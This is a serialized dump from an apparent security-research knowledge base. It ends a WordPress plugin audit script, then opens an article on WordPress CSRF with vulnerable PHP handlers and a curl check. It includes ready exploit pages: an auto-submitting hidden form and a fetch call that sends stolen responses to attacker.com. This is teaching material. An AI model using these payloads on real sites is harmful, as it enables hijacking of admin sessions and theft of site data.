\"--- RAW DATABASE QUERIES (potential SQLi) ---\"\ngrep -rP '\\$wpdb->(query|get_results|get_row|get_var)\\s*\\(' \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" | grep -v \"prepare(\"\n\necho \"\"\necho \"--- UNESCAPED OUTPUT (potential XSS) ---\"\ngrep -rP \"echo\\s+\\\\\\$(_(GET|POST|REQUEST)|atts|_)\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n | grep -v \"esc_\"\n\necho \"\"\necho \"--- FILE OPERATIONS (potential path traversal\u002Fupload) ---\"\ngrep -rn \"file_put_contents\\|move_uploaded_file\\|unlink\\|rename\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\necho \"\"\necho \"--- DANGEROUS FUNCTIONS ---\"\ngrep -rn \"eval\\|unserialize\\|system\\|exec\\|shell_exec\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\necho \"\"\necho \"--- MISSING ABSPATH CHECKS ---\"\nfor f in $(find \"$PLUGIN_DIR\" -name \"*.php\" -not -path \"*\u002Fvendor\u002F*\"); do\n    if ! head -5 \"$f\" | grep -q \"ABSPATH\\|WPINC\"; then\n        echo \"  $f\"\n    fi\ndone\n\necho \"\"\necho \"======================================\"\necho \"Audit complete\"\necho \"======================================\"\n",[33,22707,22708,22712,22757,22761,22768,22779,22785,22789,22796,22803,22827,22831,22837,22844,22868,22877,22881,22887,22894,22905,22926,22930,22936,22943,22958,22981,22985,22991,22998,23009,23023,23027,23033,23040,23051,23065,23069,23075,23082,23118,23149,23161,23166,23171,23176,23183,23190,23198],{"__ignoreMap":31},[36,22709,22710],{"class":38,"line":39},[36,22711,4257],{"class":42},[36,22713,22714,22716,22718,22720,22723,22726,22728,22730,22733,22735,22737,22739,22742,22744,22747,22749,22752,22755],{"class":38,"line":46},[36,22715,2415],{"class":605},[36,22717,1220],{"class":102},[36,22719,631],{"class":53},[36,22721,22722],{"class":95},"${1",[36,22724,22725],{"class":102},":-\u002F",[36,22727,7070],{"class":605},[36,22729,11648],{"class":102},[36,22731,22732],{"class":605},"www",[36,22734,11648],{"class":102},[36,22736,7051],{"class":605},[36,22738,11648],{"class":102},[36,22740,22741],{"class":605},"wp-content",[36,22743,11648],{"class":102},[36,22745,22746],{"class":605},"plugins",[36,22748,11648],{"class":102},[36,22750,22751],{"class":605},"target-plugin",[36,22753,22754],{"class":95},"}",[36,22756,668],{"class":53},[36,22758,22759],{"class":38,"line":57},[36,22760,61],{"emptyLinePlaceholder":60},[36,22762,22763,22765],{"class":38,"line":64},[36,22764,1226],{"class":95},[36,22766,22767],{"class":53}," \"======================================\"\n",[36,22769,22770,22772,22775,22777],{"class":38,"line":70},[36,22771,1226],{"class":95},[36,22773,22774],{"class":53}," \"Security Audit: ",[36,22776,2442],{"class":605},[36,22778,668],{"class":53},[36,22780,22781,22783],{"class":38,"line":78},[36,22782,1226],{"class":95},[36,22784,22767],{"class":53},[36,22786,22787],{"class":38,"line":83},[36,22788,61],{"emptyLinePlaceholder":60},[36,22790,22791,22793],{"class":38,"line":89},[36,22792,1226],{"class":95},[36,22794,22795],{"class":53}," \"\"\n",[36,22797,22798,22800],{"class":38,"line":115},[36,22799,1226],{"class":95},[36,22801,22802],{"class":53}," \"--- AJAX ENTRY POINTS ---\"\n",[36,22804,22805,22807,22809,22811,22813,22815,22817,22819,22821,22823,22825],{"class":38,"line":133},[36,22806,490],{"class":49},[36,22808,493],{"class":95},[36,22810,2924],{"class":53},[36,22812,625],{"class":53},[36,22814,2442],{"class":605},[36,22816,631],{"class":53},[36,22818,502],{"class":95},[36,22820,540],{"class":53},[36,22822,103],{"class":102},[36,22824,617],{"class":49},[36,22826,4185],{"class":53},[36,22828,22829],{"class":38,"line":138},[36,22830,61],{"emptyLinePlaceholder":60},[36,22832,22833,22835],{"class":38,"line":144},[36,22834,1226],{"class":95},[36,22836,22795],{"class":53},[36,22838,22839,22841],{"class":38,"line":158},[36,22840,1226],{"class":95},[36,22842,22843],{"class":53}," \"--- REST API ROUTES (check permission_callback) ---\"\n",[36,22845,22846,22848,22850,22852,22854,22856,22858,22860,22862,22864,22866],{"class":38,"line":255},[36,22847,490],{"class":49},[36,22849,493],{"class":95},[36,22851,533],{"class":53},[36,22853,625],{"class":53},[36,22855,2442],{"class":605},[36,22857,631],{"class":53},[36,22859,502],{"class":95},[36,22861,540],{"class":53},[36,22863,10160],{"class":95},[36,22865,103],{"class":102},[36,22867,155],{"class":95},[36,22869,22870,22872,22874],{"class":38,"line":261},[36,22871,552],{"class":49},[36,22873,17317],{"class":95},[36,22875,22876],{"class":53}," \"register_rest_route|permission_callback|__return_true\"\n",[36,22878,22879],{"class":38,"line":267},[36,22880,61],{"emptyLinePlaceholder":60},[36,22882,22883,22885],{"class":38,"line":273},[36,22884,1226],{"class":95},[36,22886,22795],{"class":53},[36,22888,22889,22891],{"class":38,"line":279},[36,22890,1226],{"class":95},[36,22892,22893],{"class":53}," \"--- RAW DATABASE QUERIES (potential SQLi) ---\"\n",[36,22895,22896,22898,22900,22903],{"class":38,"line":285},[36,22897,490],{"class":49},[36,22899,574],{"class":95},[36,22901,22902],{"class":53}," '\\$wpdb->(query|get_results|get_row|get_var)\\s*\\('",[36,22904,155],{"class":95},[36,22906,22907,22909,22911,22913,22915,22917,22919,22921,22923],{"class":38,"line":291},[36,22908,3113],{"class":53},[36,22910,2442],{"class":605},[36,22912,631],{"class":53},[36,22914,502],{"class":95},[36,22916,540],{"class":53},[36,22918,103],{"class":102},[36,22920,617],{"class":49},[36,22922,555],{"class":95},[36,22924,22925],{"class":53}," \"prepare(\"\n",[36,22927,22928],{"class":38,"line":297},[36,22929,61],{"emptyLinePlaceholder":60},[36,22931,22932,22934],{"class":38,"line":303},[36,22933,1226],{"class":95},[36,22935,22795],{"class":53},[36,22937,22938,22940],{"class":38,"line":308},[36,22939,1226],{"class":95},[36,22941,22942],{"class":53}," \"--- UNESCAPED OUTPUT (potential XSS) ---\"\n",[36,22944,22945,22947,22949,22951,22953,22956],{"class":38,"line":314},[36,22946,490],{"class":49},[36,22948,574],{"class":95},[36,22950,19407],{"class":53},[36,22952,19410],{"class":95},[36,22954,22955],{"class":53},"(_(GET|POST|REQUEST)|atts|_)\"",[36,22957,155],{"class":95},[36,22959,22960,22962,22964,22966,22968,22970,22972,22974,22976,22978],{"class":38,"line":320},[36,22961,3113],{"class":53},[36,22963,2442],{"class":605},[36,22965,631],{"class":53},[36,22967,502],{"class":95},[36,22969,540],{"class":53},[36,22971,1229],{"class":95},[36,22973,103],{"class":102},[36,22975,617],{"class":49},[36,22977,555],{"class":95},[36,22979,22980],{"class":53}," \"esc_\"\n",[36,22982,22983],{"class":38,"line":326},[36,22984,61],{"emptyLinePlaceholder":60},[36,22986,22987,22989],{"class":38,"line":331},[36,22988,1226],{"class":95},[36,22990,22795],{"class":53},[36,22992,22993,22995],{"class":38,"line":337},[36,22994,1226],{"class":95},[36,22996,22997],{"class":53}," \"--- FILE OPERATIONS (potential path traversal\u002Fupload) ---\"\n",[36,22999,23000,23002,23004,23007],{"class":38,"line":343},[36,23001,490],{"class":49},[36,23003,493],{"class":95},[36,23005,23006],{"class":53}," \"file_put_contents\\|move_uploaded_file\\|unlink\\|rename\"",[36,23008,155],{"class":95},[36,23010,23011,23013,23015,23017,23019,23021],{"class":38,"line":349},[36,23012,3113],{"class":53},[36,23014,2442],{"class":605},[36,23016,631],{"class":53},[36,23018,502],{"class":95},[36,23020,540],{"class":53},[36,23022,2906],{"class":95},[36,23024,23025],{"class":38,"line":355},[36,23026,61],{"emptyLinePlaceholder":60},[36,23028,23029,23031],{"class":38,"line":6676},[36,23030,1226],{"class":95},[36,23032,22795],{"class":53},[36,23034,23035,23037],{"class":38,"line":6686},[36,23036,1226],{"class":95},[36,23038,23039],{"class":53}," \"--- DANGEROUS FUNCTIONS ---\"\n",[36,23041,23042,23044,23046,23049],{"class":38,"line":6691},[36,23043,490],{"class":49},[36,23045,493],{"class":95},[36,23047,23048],{"class":53}," \"eval\\|unserialize\\|system\\|exec\\|shell_exec\"",[36,23050,155],{"class":95},[36,23052,23053,23055,23057,23059,23061,23063],{"class":38,"line":6697},[36,23054,3113],{"class":53},[36,23056,2442],{"class":605},[36,23058,631],{"class":53},[36,23060,502],{"class":95},[36,23062,540],{"class":53},[36,23064,2906],{"class":95},[36,23066,23067],{"class":38,"line":6721},[36,23068,61],{"emptyLinePlaceholder":60},[36,23070,23071,23073],{"class":38,"line":19762},[36,23072,1226],{"class":95},[36,23074,22795],{"class":53},[36,23076,23077,23079],{"class":38,"line":19774},[36,23078,1226],{"class":95},[36,23080,23081],{"class":53}," \"--- MISSING ABSPATH CHECKS ---\"\n",[36,23083,23085,23087,23089,23091,23093,23095,23097,23099,23101,23103,23105,23108,23111,23114,23116],{"class":38,"line":23084},39,[36,23086,1325],{"class":102},[36,23088,22287],{"class":605},[36,23090,1331],{"class":102},[36,23092,1334],{"class":605},[36,23094,21426],{"class":49},[36,23096,625],{"class":53},[36,23098,2442],{"class":605},[36,23100,631],{"class":53},[36,23102,21435],{"class":95},[36,23104,21438],{"class":53},[36,23106,23107],{"class":95}," -not",[36,23109,23110],{"class":95}," -path",[36,23112,23113],{"class":53}," \"*\u002Fvendor\u002F*\"",[36,23115,1346],{"class":605},[36,23117,609],{"class":102},[36,23119,23121,23123,23125,23127,23130,23132,23134,23136,23138,23140,23142,23145,23147],{"class":38,"line":23120},40,[36,23122,614],{"class":102},[36,23124,22314],{"class":102},[36,23126,5296],{"class":49},[36,23128,23129],{"class":95}," -5",[36,23131,625],{"class":53},[36,23133,22326],{"class":605},[36,23135,631],{"class":53},[36,23137,103],{"class":102},[36,23139,617],{"class":49},[36,23141,620],{"class":95},[36,23143,23144],{"class":53}," \"ABSPATH\\|WPINC\"",[36,23146,606],{"class":605},[36,23148,655],{"class":102},[36,23150,23152,23154,23157,23159],{"class":38,"line":23151},41,[36,23153,660],{"class":95},[36,23155,23156],{"class":53}," \"  ",[36,23158,22326],{"class":605},[36,23160,668],{"class":53},[36,23162,23164],{"class":38,"line":23163},42,[36,23165,673],{"class":102},[36,23167,23169],{"class":38,"line":23168},43,[36,23170,678],{"class":102},[36,23172,23174],{"class":38,"line":23173},44,[36,23175,61],{"emptyLinePlaceholder":60},[36,23177,23179,23181],{"class":38,"line":23178},45,[36,23180,1226],{"class":95},[36,23182,22795],{"class":53},[36,23184,23186,23188],{"class":38,"line":23185},46,[36,23187,1226],{"class":95},[36,23189,22767],{"class":53},[36,23191,23193,23195],{"class":38,"line":23192},47,[36,23194,1226],{"class":95},[36,23196,23197],{"class":53}," \"Audit complete\"\n",[36,23199,23201,23203],{"class":38,"line":23200},48,[36,23202,1226],{"class":95},[36,23204,22767],{"class":53},[2645,23206,15438],{},{"title":31,"searchDepth":46,"depth":46,"links":23208},[23209,23210,23214,23215,23221,23228,23233],{"id":20246,"depth":46,"text":20247},{"id":20392,"depth":46,"text":20393,"children":23211},[23212,23213],{"id":20399,"depth":57,"text":20400},{"id":20409,"depth":57,"text":20410},{"id":20547,"depth":46,"text":20548},{"id":20740,"depth":46,"text":20741,"children":23216},[23217,23218,23219,23220],{"id":20744,"depth":57,"text":20745},{"id":20939,"depth":57,"text":20940},{"id":21086,"depth":57,"text":21087},{"id":21280,"depth":57,"text":21281},{"id":21384,"depth":46,"text":21385,"children":23222},[23223,23224,23225,23226,23227],{"id":21388,"depth":57,"text":21389},{"id":21586,"depth":57,"text":21587},{"id":21831,"depth":57,"text":21832},{"id":22132,"depth":57,"text":22133},{"id":22360,"depth":57,"text":22361},{"id":22487,"depth":46,"text":22488,"children":23229},[23230,23231,23232],{"id":22491,"depth":57,"text":22492},{"id":22581,"depth":57,"text":22582},{"id":22619,"depth":57,"text":22620},{"id":22698,"depth":46,"text":22699},"Plugin file structure, lifecycle hooks, entry points, and efficient audit methodology for finding security-relevant code",{},"\u002Fknowledge-base\u002Fwordpress-plugin-architecture-for-security-researchers",{"title":20235,"description":23234},"knowledge-base\u002Fwordpress-plugin-architecture-for-security-researchers","5y3THbYjawBqIGzhgiV6r1RKSU7Vm1hUUKnyOyxWFr8",{"id":23241,"title":23242,"body":23243,"category":12952,"description":26531,"extension":2673,"meta":26532,"navigation":60,"order":115,"path":26533,"seo":26534,"stem":26535,"__hash__":26536},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-csrf-attacks.md","WordPress CSRF Attacks",{"type":7,"value":23244,"toc":26503},[23245,23248,23251,23255,23258,23272,23275,23278,23301,23305,23360,23363,23367,23419,23463,23467,23471,23758,23762,23980,23984,24031,24035,24141,24145,24149,24152,24388,24399,24403,24607,24611,24614,24730,24734,24883,24887,24890,24894,24900,24903,25308,25312,25315,25438,25442,25446,25645,25649,25958,25962,25965,26003,26090,26094,26388,26392,26500],[10,23246,23242],{"id":23247},"wordpress-csrf-attacks",[14,23249,23250],{},"Cross-Site Request Forgery (CSRF) in WordPress exploits the trust the application has in authenticated users' browsers. While WordPress uses nonces as CSRF protection, their misuse creates exploitable gaps. CSRF vulnerabilities in WordPress plugins often allow unauthenticated attackers to perform privileged actions by tricking an admin into visiting a malicious page.",[18,23252,23254],{"id":23253},"csrf-in-the-wordpress-context","CSRF in the WordPress Context",[14,23256,23257],{},"A WordPress CSRF attack works as follows:",[2706,23259,23260,23263,23266,23269],{},[2709,23261,23262],{},"Admin is logged into their site (has valid session cookies)",[2709,23264,23265],{},"Admin visits an attacker-controlled page",[2709,23267,23268],{},"That page makes a request to the target WordPress site (using the admin's session)",[2709,23270,23271],{},"WordPress processes the request with admin privileges",[14,23273,23274],{},"WordPress cookies are sent by the browser for any request to the target domain, including cross-origin ones. Without nonce verification, this is trivially exploitable.",[14,23276,23277],{},"Key facts about WordPress CSRF:",[4209,23279,23280,23286,23293,23296],{},[2709,23281,23282,23285],{},[33,23283,23284],{},"Same-Site: Lax"," cookies (default since Chrome 80) block CSRF for most GET requests",[2709,23287,23288,23289,23292],{},"POST requests via form submission bypass ",[33,23290,23291],{},"Lax"," SameSite in some conditions",[2709,23294,23295],{},"Nonces are the primary defense but have many bypass patterns (see nonces article)",[2709,23297,361,23298,23300],{},[33,23299,3438],{}," handler never has a \"logged-in session\" to steal, but can be called with no auth",[18,23302,23304],{"id":23303},"csrf-vulnerability-missing-nonce-on-settings-save","CSRF Vulnerability: Missing Nonce on Settings Save",[26,23306,23308],{"className":177,"code":23307,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Settings saved via POST without nonce verification\nadd_action( 'admin_post_save_plugin_settings', function() {\n    \u002F\u002F No nonce check!\n    if ( ! current_user_can( 'manage_options' ) ) {\n        wp_die( 'Unauthorized' );\n    }\n    update_option( 'plugin_api_key', sanitize_text_field( $_POST['api_key'] ) );\n    update_option( 'plugin_webhook_url', esc_url_raw( $_POST['webhook_url'] ) );\n    wp_redirect( admin_url( 'options-general.php?page=my-plugin&saved=1' ) );\n    exit;\n});\n",[33,23309,23310,23315,23320,23325,23329,23333,23337,23342,23347,23352,23356],{"__ignoreMap":31},[36,23311,23312],{"class":38,"line":39},[36,23313,23314],{},"\u002F\u002F VULNERABLE: Settings saved via POST without nonce verification\n",[36,23316,23317],{"class":38,"line":46},[36,23318,23319],{},"add_action( 'admin_post_save_plugin_settings', function() {\n",[36,23321,23322],{"class":38,"line":57},[36,23323,23324],{},"    \u002F\u002F No nonce check!\n",[36,23326,23327],{"class":38,"line":64},[36,23328,3607],{},[36,23330,23331],{"class":38,"line":70},[36,23332,16453],{},[36,23334,23335],{"class":38,"line":78},[36,23336,1622],{},[36,23338,23339],{"class":38,"line":83},[36,23340,23341],{},"    update_option( 'plugin_api_key', sanitize_text_field( $_POST['api_key'] ) );\n",[36,23343,23344],{"class":38,"line":89},[36,23345,23346],{},"    update_option( 'plugin_webhook_url', esc_url_raw( $_POST['webhook_url'] ) );\n",[36,23348,23349],{"class":38,"line":115},[36,23350,23351],{},"    wp_redirect( admin_url( 'options-general.php?page=my-plugin&saved=1' ) );\n",[36,23353,23354],{"class":38,"line":133},[36,23355,20328],{},[36,23357,23358],{"class":38,"line":138},[36,23359,300],{},[14,23361,23362],{},"The capability check prevents unauthenticated exploitation, but CSRF bypasses it: an authenticated admin's browser is used to make the request.",[18,23364,23366],{"id":23365},"csrf-vulnerability-missing-check_ajax_referer","CSRF Vulnerability: Missing check_ajax_referer",[26,23368,23370],{"className":177,"code":23369,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: AJAX action without nonce verification\nadd_action( 'wp_ajax_create_api_token', function() {\n    if ( ! current_user_can( 'manage_options' ) ) {\n        wp_send_json_error( 'Forbidden' );\n    }\n    \u002F\u002F No nonce check - CSRF possible\n    $token = wp_generate_password( 32, false );\n    update_option( 'plugin_api_token', $token );\n    wp_send_json_success([ 'token' => $token ]);\n});\n",[33,23371,23372,23377,23382,23386,23391,23395,23400,23405,23410,23415],{"__ignoreMap":31},[36,23373,23374],{"class":38,"line":39},[36,23375,23376],{},"\u002F\u002F VULNERABLE: AJAX action without nonce verification\n",[36,23378,23379],{"class":38,"line":46},[36,23380,23381],{},"add_action( 'wp_ajax_create_api_token', function() {\n",[36,23383,23384],{"class":38,"line":57},[36,23385,3607],{},[36,23387,23388],{"class":38,"line":64},[36,23389,23390],{},"        wp_send_json_error( 'Forbidden' );\n",[36,23392,23393],{"class":38,"line":70},[36,23394,1622],{},[36,23396,23397],{"class":38,"line":78},[36,23398,23399],{},"    \u002F\u002F No nonce check - CSRF possible\n",[36,23401,23402],{"class":38,"line":83},[36,23403,23404],{},"    $token = wp_generate_password( 32, false );\n",[36,23406,23407],{"class":38,"line":89},[36,23408,23409],{},"    update_option( 'plugin_api_token', $token );\n",[36,23411,23412],{"class":38,"line":115},[36,23413,23414],{},"    wp_send_json_success([ 'token' => $token ]);\n",[36,23416,23417],{"class":38,"line":133},[36,23418,300],{},[26,23420,23422],{"className":28,"code":23421,"language":30,"meta":31,"style":31},"# Verify the vulnerability: no nonce needed\ncurl -s -b \u002Ftmp\u002Fadmin_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=create_api_token'\n# If this returns {\"success\":true,...} without a nonce, it's CSRF-vulnerable\n",[33,23423,23424,23429,23445,23451,23458],{"__ignoreMap":31},[36,23425,23426],{"class":38,"line":39},[36,23427,23428],{"class":42},"# Verify the vulnerability: no nonce needed\n",[36,23430,23431,23433,23435,23437,23439,23441,23443],{"class":38,"line":46},[36,23432,92],{"class":49},[36,23434,96],{"class":95},[36,23436,709],{"class":95},[36,23438,20029],{"class":53},[36,23440,792],{"class":95},[36,23442,795],{"class":53},[36,23444,155],{"class":95},[36,23446,23447,23449],{"class":38,"line":57},[36,23448,3329],{"class":53},[36,23450,155],{"class":95},[36,23452,23453,23455],{"class":38,"line":64},[36,23454,818],{"class":95},[36,23456,23457],{"class":53}," 'action=create_api_token'\n",[36,23459,23460],{"class":38,"line":70},[36,23461,23462],{"class":42},"# If this returns {\"success\":true,...} without a nonce, it's CSRF-vulnerable\n",[18,23464,23466],{"id":23465},"building-csrf-exploit-pages","Building CSRF Exploit Pages",[684,23468,23470],{"id":23469},"basic-auto-submitting-html-form","Basic Auto-Submitting HTML Form",[26,23472,23474],{"className":7049,"code":23473,"language":7051,"meta":31,"style":31},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>Legitimate Looking Page\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Please wait...\u003C\u002Fh1>\n\u003Cform id=\"csrf\" method=\"POST\"\n      action=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\"\n      enctype=\"application\u002Fx-www-form-urlencoded\">\n    \u003Cinput type=\"hidden\" name=\"action\" value=\"save_plugin_settings\">\n    \u003Cinput type=\"hidden\" name=\"api_endpoint\" value=\"https:\u002F\u002Fattacker.com\u002Fcollect\">\n    \u003Cinput type=\"hidden\" name=\"debug_mode\" value=\"1\">\n    \u003Cinput type=\"hidden\" name=\"allow_registration\" value=\"1\">\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('csrf').submit();\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[33,23475,23476,23489,23497,23522,23531,23544,23567,23576,23588,23622,23650,23678,23705,23713,23742,23750],{"__ignoreMap":31},[36,23477,23478,23481,23484,23487],{"class":38,"line":39},[36,23479,23480],{"class":605},"\u003C!",[36,23482,23483],{"class":7061},"DOCTYPE",[36,23485,23486],{"class":49}," html",[36,23488,7065],{"class":605},[36,23490,23491,23493,23495],{"class":38,"line":46},[36,23492,7058],{"class":605},[36,23494,7051],{"class":7061},[36,23496,7065],{"class":605},[36,23498,23499,23501,23504,23507,23510,23513,23515,23518,23520],{"class":38,"line":57},[36,23500,7058],{"class":605},[36,23502,23503],{"class":7061},"head",[36,23505,23506],{"class":605},">\u003C",[36,23508,23509],{"class":7061},"title",[36,23511,23512],{"class":605},">Legitimate Looking Page\u003C\u002F",[36,23514,23509],{"class":7061},[36,23516,23517],{"class":605},">\u003C\u002F",[36,23519,23503],{"class":7061},[36,23521,7065],{"class":605},[36,23523,23524,23526,23529],{"class":38,"line":64},[36,23525,7058],{"class":605},[36,23527,23528],{"class":7061},"body",[36,23530,7065],{"class":605},[36,23532,23533,23535,23537,23540,23542],{"class":38,"line":70},[36,23534,7058],{"class":605},[36,23536,10],{"class":7061},[36,23538,23539],{"class":605},">Please wait...\u003C\u002F",[36,23541,10],{"class":7061},[36,23543,7065],{"class":605},[36,23545,23546,23548,23551,23554,23556,23559,23562,23564],{"class":38,"line":78},[36,23547,7058],{"class":605},[36,23549,23550],{"class":7061},"form",[36,23552,23553],{"class":49}," id",[36,23555,1220],{"class":605},[36,23557,23558],{"class":53},"\"csrf\"",[36,23560,23561],{"class":49}," method",[36,23563,1220],{"class":605},[36,23565,23566],{"class":53},"\"POST\"\n",[36,23568,23569,23572,23574],{"class":38,"line":83},[36,23570,23571],{"class":49},"      action",[36,23573,1220],{"class":605},[36,23575,10487],{"class":53},[36,23577,23578,23581,23583,23586],{"class":38,"line":89},[36,23579,23580],{"class":49},"      enctype",[36,23582,1220],{"class":605},[36,23584,23585],{"class":53},"\"application\u002Fx-www-form-urlencoded\"",[36,23587,7065],{"class":605},[36,23589,23590,23593,23596,23599,23601,23604,23607,23609,23612,23615,23617,23620],{"class":38,"line":115},[36,23591,23592],{"class":605},"    \u003C",[36,23594,23595],{"class":7061},"input",[36,23597,23598],{"class":49}," type",[36,23600,1220],{"class":605},[36,23602,23603],{"class":53},"\"hidden\"",[36,23605,23606],{"class":49}," name",[36,23608,1220],{"class":605},[36,23610,23611],{"class":53},"\"action\"",[36,23613,23614],{"class":49}," value",[36,23616,1220],{"class":605},[36,23618,23619],{"class":53},"\"save_plugin_settings\"",[36,23621,7065],{"class":605},[36,23623,23624,23626,23628,23630,23632,23634,23636,23638,23641,23643,23645,23648],{"class":38,"line":133},[36,23625,23592],{"class":605},[36,23627,23595],{"class":7061},[36,23629,23598],{"class":49},[36,23631,1220],{"class":605},[36,23633,23603],{"class":53},[36,23635,23606],{"class":49},[36,23637,1220],{"class":605},[36,23639,23640],{"class":53},"\"api_endpoint\"",[36,23642,23614],{"class":49},[36,23644,1220],{"class":605},[36,23646,23647],{"class":53},"\"https:\u002F\u002Fattacker.com\u002Fcollect\"",[36,23649,7065],{"class":605},[36,23651,23652,23654,23656,23658,23660,23662,23664,23666,23669,23671,23673,23676],{"class":38,"line":138},[36,23653,23592],{"class":605},[36,23655,23595],{"class":7061},[36,23657,23598],{"class":49},[36,23659,1220],{"class":605},[36,23661,23603],{"class":53},[36,23663,23606],{"class":49},[36,23665,1220],{"class":605},[36,23667,23668],{"class":53},"\"debug_mode\"",[36,23670,23614],{"class":49},[36,23672,1220],{"class":605},[36,23674,23675],{"class":53},"\"1\"",[36,23677,7065],{"class":605},[36,23679,23680,23682,23684,23686,23688,23690,23692,23694,23697,23699,23701,23703],{"class":38,"line":144},[36,23681,23592],{"class":605},[36,23683,23595],{"class":7061},[36,23685,23598],{"class":49},[36,23687,1220],{"class":605},[36,23689,23603],{"class":53},[36,23691,23606],{"class":49},[36,23693,1220],{"class":605},[36,23695,23696],{"class":53},"\"allow_registration\"",[36,23698,23614],{"class":49},[36,23700,1220],{"class":605},[36,23702,23675],{"class":53},[36,23704,7065],{"class":605},[36,23706,23707,23709,23711],{"class":38,"line":158},[36,23708,7122],{"class":605},[36,23710,23550],{"class":7061},[36,23712,7065],{"class":605},[36,23714,23715,23717,23719,23722,23725,23727,23730,23732,23735,23738,23740],{"class":38,"line":255},[36,23716,7058],{"class":605},[36,23718,7062],{"class":7061},[36,23720,23721],{"class":605},">document.",[36,23723,23724],{"class":49},"getElementById",[36,23726,18300],{"class":605},[36,23728,23729],{"class":53},"'csrf'",[36,23731,13093],{"class":605},[36,23733,23734],{"class":49},"submit",[36,23736,23737],{"class":605},"();\u003C\u002F",[36,23739,7062],{"class":7061},[36,23741,7065],{"class":605},[36,23743,23744,23746,23748],{"class":38,"line":261},[36,23745,7122],{"class":605},[36,23747,23528],{"class":7061},[36,23749,7065],{"class":605},[36,23751,23752,23754,23756],{"class":38,"line":267},[36,23753,7122],{"class":605},[36,23755,7051],{"class":7061},[36,23757,7065],{"class":605},[684,23759,23761],{"id":23760},"csrf-via-fetch-no-samesite-bypass-needed-for-same-site-or-lax-get","CSRF via Fetch (No SameSite bypass needed for same-site or Lax GET)",[26,23763,23765],{"className":7049,"code":23764,"language":7051,"meta":31,"style":31},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Cbody>\n\u003Cscript>\n\u002F\u002F Note: fetch with credentials=include for cross-origin\n\u002F\u002F This works when SameSite=None or SameSite=Lax with POST is exploitable\nfetch('https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php', {\n    method: 'POST',\n    credentials: 'include',\n    headers: {\n        'Content-Type': 'application\u002Fx-www-form-urlencoded',\n    },\n    body: 'action=create_api_token'\n})\n.then(r => r.json())\n.then(data => {\n    \u002F\u002F Exfiltrate any response data\n    fetch('https:\u002F\u002Fattacker.com\u002Fcollect?data=' + encodeURIComponent(JSON.stringify(data)));\n});\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[33,23766,23767,23777,23785,23793,23801,23806,23811,23823,23834,23844,23849,23861,23865,23873,23878,23903,23919,23924,23952,23956,23964,23972],{"__ignoreMap":31},[36,23768,23769,23771,23773,23775],{"class":38,"line":39},[36,23770,23480],{"class":605},[36,23772,23483],{"class":7061},[36,23774,23486],{"class":49},[36,23776,7065],{"class":605},[36,23778,23779,23781,23783],{"class":38,"line":46},[36,23780,7058],{"class":605},[36,23782,7051],{"class":7061},[36,23784,7065],{"class":605},[36,23786,23787,23789,23791],{"class":38,"line":57},[36,23788,7058],{"class":605},[36,23790,23528],{"class":7061},[36,23792,7065],{"class":605},[36,23794,23795,23797,23799],{"class":38,"line":64},[36,23796,7058],{"class":605},[36,23798,7062],{"class":7061},[36,23800,7065],{"class":605},[36,23802,23803],{"class":38,"line":70},[36,23804,23805],{"class":42},"\u002F\u002F Note: fetch with credentials=include for cross-origin\n",[36,23807,23808],{"class":38,"line":78},[36,23809,23810],{"class":42},"\u002F\u002F This works when SameSite=None or SameSite=Lax with POST is exploitable\n",[36,23812,23813,23815,23817,23820],{"class":38,"line":83},[36,23814,18297],{"class":49},[36,23816,18300],{"class":605},[36,23818,23819],{"class":53},"'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php'",[36,23821,23822],{"class":605},", {\n",[36,23824,23825,23828,23831],{"class":38,"line":89},[36,23826,23827],{"class":605},"    method: ",[36,23829,23830],{"class":53},"'POST'",[36,23832,23833],{"class":605},",\n",[36,23835,23836,23839,23842],{"class":38,"line":115},[36,23837,23838],{"class":605},"    credentials: ",[36,23840,23841],{"class":53},"'include'",[36,23843,23833],{"class":605},[36,23845,23846],{"class":38,"line":133},[36,23847,23848],{"class":605},"    headers: {\n",[36,23850,23851,23854,23856,23859],{"class":38,"line":138},[36,23852,23853],{"class":53},"        'Content-Type'",[36,23855,1424],{"class":605},[36,23857,23858],{"class":53},"'application\u002Fx-www-form-urlencoded'",[36,23860,23833],{"class":605},[36,23862,23863],{"class":38,"line":144},[36,23864,1721],{"class":605},[36,23866,23867,23870],{"class":38,"line":158},[36,23868,23869],{"class":605},"    body: ",[36,23871,23872],{"class":53},"'action=create_api_token'\n",[36,23874,23875],{"class":38,"line":255},[36,23876,23877],{"class":605},"})\n",[36,23879,23880,23882,23885,23887,23891,23894,23897,23900],{"class":38,"line":261},[36,23881,13246],{"class":605},[36,23883,23884],{"class":49},"then",[36,23886,18300],{"class":605},[36,23888,23890],{"class":23889},"s4XuR","r",[36,23892,23893],{"class":102}," =>",[36,23895,23896],{"class":605}," r.",[36,23898,23899],{"class":49},"json",[36,23901,23902],{"class":605},"())\n",[36,23904,23905,23907,23909,23911,23914,23916],{"class":38,"line":267},[36,23906,13246],{"class":605},[36,23908,23884],{"class":49},[36,23910,18300],{"class":605},[36,23912,23913],{"class":23889},"data",[36,23915,23893],{"class":102},[36,23917,23918],{"class":605}," {\n",[36,23920,23921],{"class":38,"line":273},[36,23922,23923],{"class":42},"    \u002F\u002F Exfiltrate any response data\n",[36,23925,23926,23929,23931,23934,23936,23939,23941,23944,23946,23949],{"class":38,"line":279},[36,23927,23928],{"class":49},"    